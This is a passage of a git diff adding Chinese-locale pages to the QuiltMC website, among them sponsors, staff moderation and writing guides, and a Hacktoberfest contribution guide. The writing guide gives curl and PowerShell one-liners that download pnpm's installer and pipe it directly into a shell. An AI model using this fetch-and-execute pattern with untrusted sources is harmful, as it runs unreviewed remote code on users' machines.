rest and in transit. + +# Cookies + +Cookies are text files placed on your computer to collect standard Internet information. + +For further information, visit [allaboutcookies.org](https://allaboutcookies.org). + +## How do we use cookies? + +We use cookies inside the web interface to keep you signed in. + +## How to manage cookies? + +You can set your browser not to accept cookies, and the above website tells you how to remove cookies from your browser. +However, in a few cases, some of our website features may not function as a result. + +# Access, rectification, erasure, restriction, portability, and objection + +Every user is entitled to the following: + +**The right to access** – You have the right to request Us for copies of your personal data. +Starchild Systems may charge you a small fee on Our behalf for this service. + +**The right to rectification** – You have the right to request that We correct any information +you believe is inaccurate. You also have the right to request Us to complete the information +you believe is incomplete. + +**The right to erasure** – You have the right to request that We erase your personal data, +under certain conditions. + +**The right to restrict processing** – You have the right to request that We restrict the +processing of your personal data, under certain conditions. + +**The right to data portability** – You have the right to request that We transfer the data +that we have collected to another organization, or directly to you, under certain conditions. + +**The right to object to processing** – You have the right to object to Our processing of +your personal data, under certain conditions. + +If you would like to exercise those rights, contact us at [privacy@quiltmc.org](mailto:privacy@quiltmc.org) +or by sending a message to the ModMail+ Discord Bot. +We may ask you to verify your identity before processing your request, using a service such as [Aperture](https://aperture.starchild.systems). +We will respond to your request within 30 days as required by law. + +# Analytics + +We use [Cloudflare Web Analytics](https://www.cloudflare.com/en-gb/web-analytics/) to +collect anonymous usage statistics of the web interface. +Cloudflare does not collect or process personal data for Us. + +# Changes to the Privacy Policy + +We keep this privacy policy under regular review and places any updates on this web page. +If we do this, we will post the changes on this page and update the "Edited" date at the top of this page. + +# Contact + +If you have any questions about this privacy policy, please contact us at +[privacy@quiltmc.org](mailto:privacy@quiltmc.org) or by sending a message to the ModMail+ Discord Bot. diff --git a/src/pages/zh/mc-patchnotes.mdx b/src/pages/zh/mc-patchnotes.mdx new file mode 100644 index 000000000..80d1d5bea --- /dev/null +++ b/src/pages/zh/mc-patchnotes.mdx @@ -0,0 +1,21 @@ +import PatchNotes from "@layouts/PatchNotes.astro"; + + +
+ 此页面需要启用JavaScript才能获取Minecraft启动器的补丁说明。 + 请启用JavaScript并重新加载页面以继续。 +
+
缺少版本?
+
+ 如果刚发布了Minecraft的新版本,它可能不会立即显示在这里。 + 这是因为补丁说明不总是立即可用,而且在不同地区可能以不同的时间可用。 + 新的补丁说明不应该超过一小时才会出现在这里。 +
+
Minecraft补丁说明
+
选择您想查看补丁说明的版本。
+
diff --git a/src/pages/zh/sponsors.mdx b/src/pages/zh/sponsors.mdx new file mode 100644 index 000000000..4163e176c --- /dev/null +++ b/src/pages/zh/sponsors.mdx @@ -0,0 +1,94 @@ +--- +title: 赞助商 +description: Quilt赞助商列表,以及有关赞助流程的一般信息 +layout: /src/layouts/Page.astro +sidebar: false +--- + +import site from "@data/Site"; +import Button from "@atoms/Button.astro"; +import SponsorBlock from "@parts/sponsors/SponsorBlock.astro"; + +这个页面列出了 Quilt 过去和现在的所有赞助商,以及他们通过这些赞助为我们提供的支持,并提供申请成为 Quilt 赞助商的说明。 + +虽然 Quilt 不是一个以盈利为目标的项目(希望也永远不是),但赞助商帮助我们抵消成本,或者提供对我们来说否则无法获得的工具或服务。此外,为了保持透明度并避免问题(如接受赞助并支持有问题的公司),我们有一个详细的过程,用于评估和接受赞助。你可以在[这里](https://github.com/QuiltMC/rfcs/blob/master/rfc/0061-sponsorships.md)查看详细的流程。 + +赞助可以分为认可和非认可两种。如果赞助获得认可,那么我们已经审核了该公司,确保他们符合我们的[赞助指南](https://github.com/QuiltMC/rfcs/blob/main/rfc/0061-sponsorships.md#sponsor-guidelines),并且我们很乐意向我们的社区成员推荐他们的服务。 + +# 当前赞助商(认可) + +以下赞助商得到了 Quilt 的认可,并在各个地方(包括此网站的主页)中获得了我们的认可。我们很自豪与这些赞助商合作,并愿意向我们的用户推荐他们的服务。 + + + Cloudflare是边缘服务的全球领导者,提供非常全面的免费计划。它是我们服务的核心,为我们提供DNS、DDoS保护、CDN、边缘计算等。 + Cloudflare为我们提供了免费的Pro计划,其中包含额外的功能,以增强我们的安全性和性能。 + +# 当前赞助商(非认可) + +以下赞助商不需要 Quilt 的认可。 + + + 1Password是一个注重隐私的密码管理器,旨在安全存储您的凭据,并在需要时以方便的方式提供访问。 + + 1Password通过他们的[1Password for Open Source Projects](https://github.com/1Password/1password-teams-open-source)计划为我们提供了一个免费的1Password团队账户,我们用它来在需要使用的具体团队之间共享凭据和其他敏感数据。这使我们能够安全地存储这些凭据,并确保它们仅提供给需要它们的人员。 + + +# 过去的赞助商(认可) + +在与下列过去的赞助商合作期间,他们得到了 Quilt 的认可。我们很自豪与这些赞助商合作,并愿意向我们的用户推荐他们的服务。 + + + +Starchild Systems 是一家基础设施即服务和软件即服务公司。他们在他们的基础设施上免费为我们托管了[Quilt 论坛](site.forum),[Collab Wiki](site.wikis.collab)和一些我们的 Discord 机器人。 + +虽然 Starchild Systems 不再赞助我们,但公司的所有者(Starchild System)是 Quilt 基础设施团队的一部分,他们帮助我们部署、管理和运行我们的所有服务,包括我们的[Meta 服务器](site.meta)和[Maven 仓库](site.maven)。我们还使用他们付费的 ModMail+服务,这是一个 Discord 机器人,为我们的社区成员提供了与社区团队交流的简单方式。 + + + +# 过去的赞助商(非认可) + +在与下列过去的赞助商合作期间,他们不需要 Quilt 的认可。 + + +Amazon Web Services (AWS)是亚马逊旗下的云计算服务提供商。他们是全球最大的基础设施提供商之一,负责保持互联网的运行。 +AWS通过他们的[Promotional Credits for Open Source Projects](https://aws.amazon.com/blogs/opensource/aws-promotional-credits-open-source-projects/)计划提供我们用于抵消运营成本的优惠券。我们使用AWS来托管我们的Maven仓库,并作为官方Quilt电子邮件地址的电子邮件提供商。 + + +# 赞助Quilt + +有关接受和处理赞助的详细信息,请参阅[Sponsorships RFC](https://github.com/QuiltMC/rfcs/blob/master/rfc/0061-sponsorships.md)。 + +如果你只是希望支持我们并帮助我们支付成本,最好的方式是直接在我们的[OpenCollective 页面](https://opencollective.com/quiltmc)上捐款。 + +除了认可和非认可赞助商之外,还有两种类型的赞助:金融赞助和非金融赞助。金融赞助是指通过我们的[OpenCollective 页面](https://opencollective.com/quiltmc)直接提供直接财务支持给 Quilt 的赞助,非金融赞助是指以折扣或免费提供工具或服务给我们的赞助。当向我们提供赞助时,请说明它是金融赞助还是非金融赞助,以及您是否希望获得认可。 + +在决定是否接受赞助时,我们寻找提供高质量产品以公平竞争价格的赞助商,以透明和诚实的方式推广其产品,并且不歧视少数群体,不具有反消费者行为的历史,也不以对环境特别有害的方式开展业务。有关赞助指南的完整列表,请参阅[Sponsorships RFC](https://github.com/QuiltMC/rfcs/blob/master/rfc/0061-sponsorships.md)。 + +一个好的赞助提议应该包括以下内容: + +- 关于您作为赞助商的信息 +- 赞助内容(工具、服务或金钱) +- 任何额外的赞助条款(如果适用) +- 您的网站、社交媒体等的链接 - 如果您有一个网站,并且有关您的产品的详细信息,我们更有可能接受您的赞助 + +要向我们提供赞助,请发送电子邮件至 Outreach 团队:[outreach@quiltmc.org](mailto:outreach@quiltmc.org)。我们期待您的来信! diff --git a/src/pages/zh/staff/index.md b/src/pages/zh/staff/index.md new file mode 100644 index 000000000..8bfc8b620 --- /dev/null +++ b/src/pages/zh/staff/index.md @@ -0,0 +1,10 @@ +--- +permalink: /staff/ +title: Staff Resources +description: Documents to help our staff members do their jobs. +layout: /src/layouts/StaffDocument.astro +--- + +This section of the site contains staff guidance documents, split up by the specific teams that they're intended for. They act as a set of extra guidelines that staff members can use to guide their work, which helps to keep things efficient and consistent. + +These documents are made public here for the sake of transparency. Of course, we're always happy to take suggestions and feedback too -- feel free to send us a message on Discord and we'll have a chat. diff --git a/src/pages/zh/staff/moderation.md b/src/pages/zh/staff/moderation.md new file mode 100644 index 000000000..5e8644918 --- /dev/null +++ b/src/pages/zh/staff/moderation.md @@ -0,0 +1,7 @@ +--- +title: Moderation Team +description: Documents to help guide the Moderation Team. +layout: /src/layouts/StaffDocument.astro +--- + +This section includes documents intended to guide and support Quilt's Moderation Team. Please select a document from the menu to the left (or hidden behind the button at the top if you're on a mobile device). diff --git a/src/pages/zh/staff/moderation/moderation.mdx b/src/pages/zh/staff/moderation/moderation.mdx new file mode 100644 index 000000000..2bf871cc3 --- /dev/null +++ b/src/pages/zh/staff/moderation/moderation.mdx @@ -0,0 +1,104 @@ +--- +title: Moderation +description: Quilt's standard moderation policy -- a guide for moderation staff. +layout: /src/layouts/StaffDocument.astro +--- + +import Message from "@atoms/Message.astro"; + +This document outlines a basic idea of what's expected of our community team members, and provides some advice for team members that may be in a pinch. For the sake of transparency, this is a public document -- if you have suggestions or feedback, please feel free to contact us (either directly or via `#discord-meta`). + +All of our community team members are involved with moderation -- if there are no community moderators around, you can contact a community manager instead. + +## Moderation as a Concept + +Moderation is, at its core, the front lines of community safety. Community team members are responsible for keeping the members of their community safe, by resolving disputes and removing problematic people from the community. + +There are many ways to approach moderation, and they're all effective in different ways. We prefer to take a proactive approach -- addressing issues as early as possible, and preventing problematic people ever from joining the community when we can. For this reason, we encourage our community team members to be active participants in the community as well, joining the other users in discussions and otherwise participating the same way everyone else does. + +## Qualities of a Community Team Member + +Every community team member has their own personality and thought process, but we do expect a number of things from every team member: + +- A relatively active presence in our community, with genuine participation +- A wish to improve the community and support its members +- A relatively cool approach to problem users, allowing the team member to deal with the issue rather than engaging problematic mentalities +- An understanding of (or willingness to learn about) the unique challenges that minority communities are faced with, and a willingness to apply that knowledge practically and consistently to the moderation process +- A non-judgemental approach to those in differing circumstances -- people with differing (non-harmful) viewpoints, religions, identities, etc + +We ask that all community team members pledge to put the needs of the community above their own personal viewpoints. That said, all team members are people and real life comes first -- team members are not expected to sacrifice their quality of life for the sake of the Quilt community. + +## Our Hierarchy + + + +**Note:** All community team members can act as moderators, regardless of their named role. That said, Community Moderators are the people you should contact first if there's a problem -- Community Managers should be contacted only when Community Moderators are unavailable, or when your concerns relate to a Community Moderator. + + + +While all community team members have equal influence, there are two primary roles: + +- **Community Moderators** are responsible for maintaining the safety and welfare of our community members, by enforcing the community policies, aiding in conflict resolution and dealing with problematic users and behaviours. If you have a problem, these are the people you should contact first. +- **Community Managers** are responsible for the day-to-day administration tasks in our community spaces, by mobilising and supporting the community team, maintaining community spaces and automations, and keeping everything running smoothly. If you have concerns about how the community is run, these are the people you should contact first. + +For more information on how the community team is structured and what processes it follows, please read [RFC 7: Community Team](https://github.com/QuiltMC/rfcs/blob/master/rfc/0007-community-team.md). + +## Discord Moderation Tools + +We currently have a fairly lightweight set of tools for moderation, provided by [Zeppelin](https://zeppelin.gg). This bot provides a set of standard moderation commands, as well as some lightweight automations. Additionally, we make use of [CrossLink](https://panleyent.com/crosslink) to automatically vet and remove links and attachments that are known to be problematic or contain viruses, and a [ModMail bot](https://github.com/kyb3r/modmail) to allow users to contact the community team if they need anything. + +When issuing infractions, community team members **must** use Zeppelin's commands. The prefix is `!!`, and community team members can look at [the Zeppelin site](https://zeppelin.gg/docs/plugins/mod_actions/usage) for more information on how these commands work. + +There are some other useful commands too, such as `clean` and `search` -- team members should familiarize themselves with Zeppelin's full list of commands as soon as they can. + +We also ask that team members familiarize themselves with [Tupperbox](https://github.com/Runi-c/Tupperbox), as there are several people present in our community that make use of it. + +## Discord Infraction Policy + +When issuing infractions, community team members should bear the following points in mind: + +- If the offending behaviour happened in a public channel and was relatively recent, consider running the infraction command directly within the channel -- otherwise, unless they're pre-emptive bans to avoid known problem users, they should be run in the `#discord-meta` channel. +- Consider the severity of the violation -- lower-tier offenses (such as rule 8 violations) are better met with a temporary mute (assuming the user doesn't listen), whereas more serious offenses such as hate speech and discrimination may be met with a quick ban, depending on the severity. +- Consider the user's history in our community, and outside it -- do they have a record of previous infractions? Are they usually a prolific, positive member of the community or are they brand new? Are they infamous for causing trouble in other communities? +- Consider the user's personal circumstances -- do they have any disabilities or social circumstances that may cloud their judgement or give them a less favourable view of the issue at hand? If they're just generally being disruptive, it's often helpful to read past the words they're using and try to understand the root of the point they're trying to make. + +## Handling Appeals + +All appeals are handled via the **@ModMail** bot. To submit an appeal, users send a private message to **@ModMail** -- this both allows for a timely response (when possible) and for oversight from the rest of the community team during the appeals process. + +Users that are banned from Discord community spaces are sent a private message by **@Zeppelin** that includes a link to a special Discord server, which allows banned users to send a private message to **@ModMail** -- since a shared server is required. + +The community team is human and mistakes can happen -- but regardless of whether someone submitting an appeal agrees with their infractions, they're expected to approach their appeal with civility and respect. Appeals should address the infraction reason (assuming the user is aware of it). + +**Please note:** While the appeals system exists to allow us to rectify mistakes (and as a way for infracted users to come back later and prove that they've grown, understand the issue and are willing to work towards fixing their reputation), the community team still reserves the right to deny appeals for any reason other than infractions made in clear violation of the moderation guidelines. The safety of the users in our community is of utmost importance, and appeals will not be successful if the person submitting an appeal is still considered to be a threat to the safety of our users -- both physical and psychological. + +Appeals made for lesser infractions may result in a more significant infraction if the person appealing fails to approach their appeal with respect, or attempts to abuse the community team members or appeals process. + +## Health & Safety + +All community team members are human, and we care for the health of everyone that contributes to a healthy atmosphere in our community. Team members should always keep the following points in mind: + +- **Prioritise your health over community moderation.** Get enough sleep, drink enough water, and take time off if you need it. Nothing is worth burning out over, and it's important that you look after yourself before taking care of the community -- real life always comes first. +- **Remember that you're a volunteer.** All community team members are here on a voluntary basis, and we don't require a time commitment from any of them. It's up to each individual team member to decide how much time they can spend on the community. +- **You do not have to handle every situation.** There are multiple community team members in our community, and some of us are more comfortable dealing with some situations than others may be. If you find that a situation is affecting you negatively, causing you to feel emotionally charged or affecting a psychological trigger, feel free to request that another team member handles the situation -- and step away. + +It's extremely important that you take care of yourself before you worry about the needs of the community. You cannot effectively moderate unless you're in the right frame of mind. + +## General Advice + +While every situation is unique and must be dealt with directly, the following tips may aid community team members when things get difficult, or to avoid problematic situations entirely. Remember to look after yourself, and try to approach these situations with a clear mind when possible. Additionally, it helps to remember that our community is Minecraft-related and, even though some community platforms have a minimum age of 13, it's likely that we do have members that are younger than this -- for this reason, it is a **top priority** to remove users that are at risk of endangering any minors. + +- **Read and understand the rules.** Read over them a few times, and try to understand the thought process behind them. Refer back to specific rules by number when you issue an infraction. +- **Get to know the community.** Be present and genuine in discussions, and take part in the community. The users will need to get to know you both as a person and community team member, and this will help to build trust and encourage them to behave themselves. You'll also get to know the active community members, and learn how they communicate and behave. +- **Do not tolerate discriminatory behaviour.** Everyone has a right to feel safe, and it's your job as a community team member to ensure that our community is a safe one. All hateful and discriminatory behaviour will alienate community members and make them feel unwelcome, and you should be quick to moderate it. +- **Be ready to de-escalate heated situations.** Everyone has strong opinions, and disagreements will happen -- it's only natural. As a community team member, you should be ready to step in when discussions become too heated, problematic or unhealthy. Encourage users to try to understand each other's viewpoints, and focus on resolving the conflict. If this is not possible then be firm in asking the users to move on from the subject, but empathetic to the users that are getting emotional. Everyone is human, and infractions and channel locks should only be issued as a last resort in these situations. +- **Be consistent with the rest of the community team.** Our policies are in place for a reason, and the community team needs to be internally consistent to help build trust with the users. Policy-related discourse is fine, but try to keep the timing, messaging and placement appropriate -- in the heat of the moment, it may be best to disagree in an internal channel at first, especially if you're unsure why an action was taken. That said, you're free to use the `#discord-meta` channel -- just like any other community member is. +- **Be your best self.** We're all human, but community team members are expected to provide a good example of how to behave in our community spaces. Try your best to keep a level head, and consider stepping away from situations that negatively affect you on a personal level. +- **Make use of your peers.** The rest of the community team is here to support you if you're unsure how to proceed with a situation. However, if you're unable to contact anyone, don't wait around for too long -- sometimes you will have to make a difficult call on your own, and there is often no ideal outcome for a situation. +- **Consider the composition of the community.** Our community is home to a diverse range of people, spanning various racial, identity-related and sexuality-based groups. We have many members of the LGBT community, and a surprisingly high ratio of plural systems. Additionally, many of our users have been alienated from other spaces in the wider modding community. This should all factor into your decision-making, and you should think about it when evaluating the points people are making. + +## Closing Notes + +While this document does its best to act as an aid for the community team (and as an insight into how we operate), there's no way a single document can cover everything there is to know. Community team members are expected to learn on the job, and the world is constantly changing -- however, any explicit policies we come up with will be documented. + +At the end of the day, everyone in the community (whether they're community team members or not) is human, and we expect everyone to be treated that way. We can all work together to build a safe, friendly, inclusive environment for everyone, and we all have a responsibility to do that -- not just the community team members! diff --git a/src/pages/zh/staff/outreach.md b/src/pages/zh/staff/outreach.md new file mode 100644 index 000000000..ca30eab5b --- /dev/null +++ b/src/pages/zh/staff/outreach.md @@ -0,0 +1,7 @@ +--- +title: Outreach Team +description: Documents to help guide the Outreach Team. +layout: /src/layouts/StaffDocument.astro +--- + +This section includes documents intended to guide and support Quilt's Outreach Team. Please select a document from the menu to the left (or hidden behind the button at the top if you're on a mobile device). diff --git a/src/pages/zh/staff/outreach/writing.mdx b/src/pages/zh/staff/outreach/writing.mdx new file mode 100644 index 000000000..0aefce4ba --- /dev/null +++ b/src/pages/zh/staff/outreach/writing.mdx @@ -0,0 +1,223 @@ +--- +title: Writing Guidelines +description: Tips and best-practices for writing content on the site. +authors: + - gdude2002 + - pluie + - "[object Object]" +layout: /src/layouts/StaffDocument.astro +--- + +import Message from "@atoms/Message.astro"; + +import TabBar from "@atoms/tabs/TabBar.astro"; +import TabBarLink from "@atoms/tabs/TabBarLink.astro"; +import TabContent from "@atoms/tabs/TabContent.astro"; +import TabGroup from "@atoms/tabs/TabGroup.astro"; + + + +**This document has completely changed.** As we have migrated from Jekyll to [Astro](https://astro.build), writing documents is now a vastly different process. Please contact [pluie](https://github.com/pluiedev) (`pluie#9105`) or [[object Object]](https://github.com/obj-obj) (`[object Object]#7105`) if you need any help writing new articles and these new guidelines aren't enough. Thanks for your patience! + + + +{/* + + + + + + + + First tab content + + + + Second tab content + + +*/} + +Writing work can be tricky at times, and Quilt doesn't have a large group of professional writers on hand for advice. This document is intended to be a set of guidelines, tips, and tricks to use when writing documents, articles, blog posts, and other written content for the site. + +## Editors & Setup + +Using [Visual Studio Code](https://code.visualstudio.com) or [VSCodium](https://vscodium.com) is recommended. When opening the site with VSCode, you should see a popup in the bottom right asking if you want to install some recommended extensions. If you don't see it, you can also type `@recommended` into the extensions searchbar: + + + +To view the site while editing a page, you have to install [pnpm](https://pnpm.io/installation). +TL;DR: + +###### Linux + +```sh +curl -fsSL https://get.pnpm.io/install.sh | sh - +``` + +###### Windows + +```powershell +iwr https://get.pnpm.io/install.ps1 -useb | iex +``` + +After installing, run `pnpm i` and then `pnpm dev`. You should now be able to view the site in your browser at `localhost:3000`. The site will also automatically update if you make any changes to it. + +## Spelling, Punctuation & Grammar + +This goes without saying, but proper spelling and grammar is fairly important. That said, nobody is perfect and there are tools out there that make everyone's lives easier. The use of one is highly recommended, even if you usually have excellent spelling and grammar -- everyone makes mistakes! + +- [LanguageTool](https://languagetool.org) remains one of the best tools available for this, even the free version. VSCode with [the LTeX extension](https://marketplace.visualstudio.com/items?itemName=valentjn.vscode-ltex) -- or IntelliJ IDEA -- is an easy way to use LanguageTool. +- [Grammarly](https://www.grammarly.com) exists as an alternative, but LanguageTool's open-source approach tends to result in a more trustable tool. + +A somewhat formal tone in your writing is also recommended, but there's absolutely no need to completely avoid an informal approach. The site even supports emojis (Meta + .), if that's something you're into. 🥔 + +It's also worth thinking a little about punctuation -- you can use `-` for a hyphen, with `--` and `---` existing for progressively longer dashes. If you're looking to join to words together (like-this), use a single hyphen. To break apart a sentence -- like this -- use two dashes. + +## Front Matter + +A front matter block must be placed at the top of every document or page that's written for the site. It takes the form of a block of YAML surrounded by triple dashes (`---`), and should contain _at least_ a `title` and `layout` property. + +```yaml +--- +title: This is the title of the page or blog post. +layout: /src/layouts/Page.astro +--- +``` + +Pages that don't contain a `layout` property in the front matter will be output as plain HTML (no sidebar, no styling, nothing). Below are some front matter properties: + +- `layout` -- Layouts are in the `/src/pages` directory. Most of the pages either use `/src/layouts/Page.astro` (for pages, such as About, Community, etc.) and `/src/layouts/Post.astro` (for blog posts). The Install section of the site uses a different set of layouts (`/src/layouts/Install.astro` for the main page and `/src/layouts/InstallPage.astro` for the launcher pages). + +- `draft` -- If you're working on something that needs to be committed but not visible to the public on the site, you can set this to `true`. + +More information on this can be found in [the Astro documentation](https://docs.astro.build/en/guides/markdown-content). + +### Author Information + +Author information can be specified using the `authors` property in the front matter: + +```yaml +--- +authors: + - person-one + - person-two +--- +``` + +### Components + +To use any components that require importing, you'll need to be in a `.mdx` file instead of a `.md` file. There's no difference between the Markdown in these two filetypes, so you can just rename any existing Markdown file. + +#### Messages + +`Message` -- this allows you to create a Message, as shown below. Messages are essentially boxes that draw attention to a specific block of text. + +
+
+ ##### Example + + ```astro + import Message from "@atoms/Message.astro"; + + + This message has no title, but it has the "success" styling. + + + + This message has a title, and the "danger" styling. + + ``` + +
+ +
+ ##### Result + + + This message has no title, but it has the "success" styling. + + + + This message has a title, and the "danger" styling. + + +
+ +
+ +#### Columns + +Columns aren't particularly complex. Columns on this site will collapse nicely for mobile users, with the leftmost column showing first. Here's an example to show how to use them: + +##### Example + +```astro +
+
+ + This is column 1. + +
+
+ + This is column 2. + +
+
+``` + +##### Result + +
+
+ This is column 1. +
+
+ This is column 2. +
+
+ +# Articles, Documents and Pages + +When working on non-blog content, it's worth keeping the following points in mind. + +## Front Matter (Pages) + +For non-blog content, the following front matter properties may be useful: + +- `description` -- This is the page's meta description that will be shown in search engines and on social media. If you skip this, then the site's default description will be used instead. + +# Blog Posts + +As writing blog posts is somewhat different from writing an article or document, you'll need to do the following things **in addition to the requirements for any other type of page**: + +- Include a date in the post's front matter. +- Include author information in the post's front matter, [as detailed above](#author-information). +- Define an excerpt in your post + +For more information on these concepts, please see the following sections. + +## Front Matter (Blog) + +For blog posts, you need to include a `date` field in the front matter, which should be in a standard ISO format (For example, `2022-05-07 4:30:00 -00:00`). This is required for all blog posts, as the site relies on it for post ordering and to display metadata. + +## Excerpts + +Excerpts are meant to be a summary of what's in a blog post. **Every blog post must have an excerpt** -- failing to provide one will make the entire post be used as the excerpt, which is definitely not what you want. + +Typically, excerpts are generated from the first couple of paragraphs in a post. Using the special HTML comment `` will mark all content above it as the excerpt. + +One approach would be to write a summary at the top of an article, mark it as the excerpt and add a horizontal rule to split it from the rest of the page content: + +```markdown +A summary of the post goes here. + + + +--- + +The actual post content starts here. +``` + +There are many ways to approach this, of course -- it's best left to the creative liberty of whoever's writing the post, so this is just a suggestion. diff --git a/src/pages/zh/toberfests.mdx b/src/pages/zh/toberfests.mdx new file mode 100644 index 000000000..463d1710c --- /dev/null +++ b/src/pages/zh/toberfests.mdx @@ -0,0 +1,117 @@ +--- +title: "Toberfest贡献指南" +description: 参与 Hacktoberfest 或 Modtoberfest 对 Quilt 的贡献指南 +layout: /src/layouts/Page.astro +sidebar: false +--- + +import site from "@data/Site"; + +在今年的十月,Quilt 将参加两个开源贡献挑战活动:[Hacktoberfest](https://hacktoberfest.com) 和 [Modtoberfest](https://modtoberfest.com)。如果您想作为这些挑战的一部分为 Quilt 做出贡献,非常感谢!我们创建了这个指南,以帮助您做出最好的贡献,并最大化您被接受的机会。 + +## 使用 Git 和 GitHub + +对于大多数开发人员来说,Git 和 GitHub 的工作原理都是很熟悉的,但是今年的 Hacktoberfest 接受低代码或非代码贡献来计入您的总数,所以本节将为您提供一个基本概述,介绍它们的工作方式,以防您对此还不熟悉。这不是一个高级指南,仅仅是基础知识的概述,如果您已经熟悉提交、分支、推送和拉取请求,可以跳过本节。 + +### 设置 GitHub 账户 + +GitHub 是一个托管 git 存储库的服务(也就是说,托管了由 git 跟踪的文件夹),以便人们可以轻松地下载并共同工作。我们将在后面更详细地介绍 git 的工作原理,但首先,您需要前往 [https://github.com/signup](https://github.com/signup) 创建一个账户。完成后,点击右上角的头像,然后点击"Settings"。这里有很多设置可以查看,但只有几个需要更改。点击侧边栏中的"Email",确保"Keep my email address private"和"Block command line pushes that expose my email"两项都被勾选。这是为了确保您不会意外泄露您的电子邮件地址,因为所有的 git 提交都必须包含一个电子邮件地址,但是通过启用这些设置,GitHub 会默认为您提供一个公开的地址来关联您的提交,并阻止您意外上传使用个人电子邮件的提交。 + +### Fork 一个存储库 + +如果您找到了一个您想要贡献的 GitHub 存储库,第一步是将其 Fork。这将创建一个您可以控制的存储库的副本,这样您就可以在不影响原始存储库的情况下安全地进行更改,然后通过拉取请求将它们提交回原始存储库(稍后会详细介绍)。Fork 一个存储库很简单,只需转到您想要工作的存储库,并点击右上角的"Fork"按钮。在下一个屏幕中,保持默认设置,然后点击"Create fork"。几秒钟后,您将被带到一个由您控制的存储库副本,并且您的 Fork 将准备就绪。 + +### 使用 github.dev 进行更改 + +在本地安装和配置 git 可能是一个复杂的过程,但如果您不做任何复杂的更改(例如编写文档或进行翻译),使用 github.dev 可能会更容易。github.dev 是一个在浏览器中运行的几乎完整功能的 Visual Studio Code 编辑器版本。您进行的所有提交都将直接发送到 GitHub,所以不需要在本地运行 git。要使用 github.dev,您只需访问您 Fork 的存储库,并在键盘上按下`.`键,您将进入在浏览器中运行的 VSCode 实例,您的存储库已打开并准备进行编辑。继续按照本指南,跳到"Commits"一节。 + +### 在本地安装 git + +如果您希望在本地工作,可以根据您的操作系统选择多种方式安装 git: + +#### Windows + +您可以从 [https://git-scm.com/download/win](https://git-scm.com/download/win) 下载 Windows 版的 Git。 + +### macOS + +苹果在其 Xcode 命令行工具中包含了 git,您可以通过打开 Terminal 应用程序并键入`xcode-select --install`来下载它。请注意,这还附带了许多其他工具,不会造成任何损害,但可能会占用您不希望占用的计算机空间。如果您使用 [Homebrew](https://brew.sh),可以通过在终端中运行`brew install git`来安装它。 + +### Linux + +如果 git 没有随您的发行版一起安装,您几乎肯定可以使用您选择的软件包管理器进行安装。 + +### 安装 GitHub Desktop + +Git 是为终端使用而设计的,但如果您不是开发人员,可能会感到有些吃力,因此我们将使用[GitHub Desktop](https://desktop.github.com)来为我们设置一切。有许多内置了 git 功能的文本编辑器和集成开发环境(IDE),如 Visual Studio Code,它驱动着 github.dev,但我们将使用 GitHub Desktop,因为它可以与几乎任何您想使用的文本编辑器一起使用。下载并安装 GitHub Desktop 时,使用您的 GitHub 用户名和电子邮件设置 git。 + +在接下来的屏幕中,搜索您的 fork 仓库,并点击"Clone"按钮 +![GitHub Desktop克隆仓库屏幕截图](/assets/img/writing/toberfest/toberfest-1.png) +确保您对仓库的本地路径感到满意,然后点击 Clone 按钮。 +![GitHub Desktop克隆确认屏幕截图](/assets/img/writing/toberfest/toberfest-2.png) + +### Commits + +Commits 是 git 的基本构建块。每个 commit 代表着某个时间点的快照,而 git 的真正强大之处在于整个仓库的历史记录,从第一个 commit 到最后一个 commit,都被保存在其中。有了正确的知识,您可以回到任何时间点,并查看仓库当时的状态,没有任何东西会真正丢失。 + +每当您对仓库进行更改时,都需要提交(commit)这些更改。不必担心您提交了太多的 commits,因为当它们被添加到主要仓库时,它们都将被"压缩"成一个单独的 commit。在提交(commit)时,您需要编写一个 commit 概要(summary),以及可选的 commit 描述(description),如果您觉得需要更详细的信息。在 GitHub Desktop 中,commits 显示在窗口的左侧,同时还会显示将在该 commit 中更改的所有文件的列表。 + +commit 消息通常使用现在时来编写,例如"Update the site information"而不是"Updated the site information"。这是因为 commit 消息被视为描述 commit 如何改变仓库,而不是记录已更改内容的记录。虽然刚开始可能难以适应,但这是一个与他人合作时应养成的好习惯。 + +定期"push"或上传您的 commits 到 GitHub 是个好主意,例如,每当您休息一下工作时。这样做可以确保如果您丢失或意外损坏了本地仓库的副本,您仍然有一个相对最新的版本,可以随时从 GitHub 获取。在 GitHub Desktop 中,您可以点击窗口顶部的"Push to Origin"按钮来推送您的更改。 + +如果您使用的是 github.dev,则 Commit 菜单位于搜索放大镜下方的侧边栏。无需推送更改,因为它们将自动发送到 GitHub。 + +![Visual Studio Code侧边栏的部分截图,显示Source Control图标](/assets/img/writing/toberfest/toberfest-3.png) + +### Branches + +分支是 Git 的另一个关键概念。在核心上,分支是一系列提交记录的路径,它们在某个时刻从主分支(可以将其视为主干)分离出来并独立存在。这在你想要进行更改,但又不想让文件在主分支上面临损坏风险时非常有用,因此你可以创建一个分支,在不影响主分支的情况下继续工作。例如,在 [quiltmc.org 仓库](https://github.com/quiltmc/quiltmc.org) 中,任何提交到 `stable` 分支(即主分支)的内容都会自动发布到主要网站上,因此我们始终确保在将更改发送到主分支之前,在其他分支上开发和测试新页面或功能。 + +当对你打算发送回原始仓库的分叉进行更改时,优秀的行为准则是为自己创建一个工作分支,而不是直接提交到主分支。在 GitHub Desktop 中,点击 "Current Branch" 按钮,然后点击 "New Branch",给分支命名,并点击 "Create Branch"。你将自动切换到新分支。 +![显示 GitHub Desktop 的分支选择界面的截图](/assets/img/writing/toberfest/toberfest-4.png) +在 github.dev 中,有一个位于左下角的绿色 GitHub 文本旁边的小按钮。点击它,然后点击 "Create New Branch" 创建一个新的分支。 + +![显示 Visual Studio Code 的分支选择界面的截图](/assets/img/writing/toberfest/toberfest-5.png) + +### Pull Requests + +关于 Git 和 GitHub,你需要了解的最后一件事是 Pull Request 的概念。Pull Request 是 GitHub 用于在分支之间发送更改的系统,或者更重要的是,从一个仓库的分支派生的 Fork 回到原始仓库。要创建 Pull Request,请访问你在 GitHub 上的 Fork,点击左上角的"current branch",然后选择具有你的更改的分支以切换到该分支。 + +![在github.com上突出显示分支切换界面的屏幕截图](/assets/img/writing/toberfest/toberfest-6.png) + +然后点击"Contribute",然后点击"Create Pull Request"。关于在 Pull Request 中需要包含的更多信息可以在页面的下方找到。 + +这就是使用 git 和 GitHub 的基础知识。如果你有兴趣了解更多关于 git 的工作原理的知识,可以参考 [https://learngitbranching.js.org](https://learngitbranching.js.org) 这个优秀的可视化教程。如果你遇到困难,不要害怕在Discord上寻求帮助。 + +## 寻找要贡献的项目 + +以下 Quilt 项目正在接受 Hacktoberfest 和 Modtoberfest 的**代码**Pull Request: + +- [Chasm](https://github.com/quiltmc/chasm) +- [Developer 